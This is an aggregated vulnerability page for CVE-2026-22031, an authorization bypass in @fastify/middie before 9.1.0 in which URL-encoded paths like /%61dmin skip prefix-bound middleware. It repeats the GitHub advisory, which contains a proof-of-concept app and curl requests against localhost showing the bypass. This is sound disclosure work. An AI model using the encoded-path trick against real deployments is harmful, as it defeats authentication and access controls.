CVE-2026-22031
Fastify Middie Middleware Path Bypass
@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.4
Fastify Middie Middleware Path Bypass
@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.
- Record
CVE-2026-22031- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-177
- Updated
- 2026-11-02
EUVDEUVD-2026-3321
8.4
@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.
- Record
EUVD-2026-3321- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cxrg-g7r8-w69p
8.4
Fastify Middie Middleware Path Bypass
Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin', ...) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string.- The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().
- The generated regex expects a decoded path (e.g.,
- Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
- Normal Request (Blocked):
curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked - Bypass Request (Successful):
curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
- Record
GHSA-cxrg-g7r8-w69p- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-177
- Updated
- 2026-11-02
NVD
8.4
@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.
- Record
CVE-2026-22031- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-177
- Updated
- 2026-11-02
OSV
8.4
Fastify Middie Middleware Path Bypass
@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.
- Record
CVE-2026-22031- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-177
- Updated
- 2026-11-02
OSVGHSA-cxrg-g7r8-w69p
8.4
Fastify Middie Middleware Path Bypass
Summary
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how middie matches requests against registered middleware paths.
- Regex Generation: When fastify.use('/admin', ...) is called,
middieusespath-to-regexpto generate a regular expression for the path/admin. - Request Matching: For every request,
middieexecutes this regular expression againstreq.url(orreq.originalUrl). - The Flaw:
req.urlin Fastify contains the raw, undecoded path string.- The generated regex expects a decoded path (e.g.,
/admin). - If a request is sent to
/%61dmin, the regex comparison fails (/^\/admin/does not match/%61dmin). middieassumes the middleware does not apply and callsnext().
- The generated regex expects a decoded path (e.g.,
- Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies
/%61dminas/adminand executes the corresponding route handler.
Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
- Normal Request (Blocked):
curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked - Bypass Request (Successful):
curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}
Impact
- Type: Authentication/Authorization Bypass.
- Affected Components: Applications using
@fastify/middieto apply security controls (auth, rate limiting, IP filtering) to specific route prefixes. - Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
- Record
GHSA-cxrg-g7r8-w69p- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L - Weakness
- CWE-177
- Updated
- 2026-11-02
OSVCLSA-2026-1784856385 No score
TuxCare security update for @fastify/middie (3 CVEs)
TuxCare rebuilt @fastify/middie to address 3 CVEs. Fixed in 8.3.3-tuxcare.2.
- Record
CLSA-2026-1784856385- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@fastify/middienpm |
through 9.0.3 | 9.1.0 |
@fastify/middieTuxCare:npm From an advisory covering 3 CVEs |
8.3.3-tuxcare.0 up to 8.3.3-tuxcare.2, plus listed versions 8.3.38.3.3-tuxcare.1 |
8.3.3-tuxcare.2 |
@fastify/middienpm |
before 9.1.0 | 9.1.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22031 is a high vulnerability (CVSS 8.4) in Fastify Middie, published January 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 45th percentile. Fixed in @fastify/middie 9.1.0.
References
github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p
github.com/fastify/middie/pull/245
github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba
github.com/fastify/middie/releases/tag/v9.1.0
nvd.nist.gov/vuln/detail/CVE-2026-22031
github.com/advisories/GHSA-cxrg-g7r8-w69p
github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22031.json
github.com/fastify/middie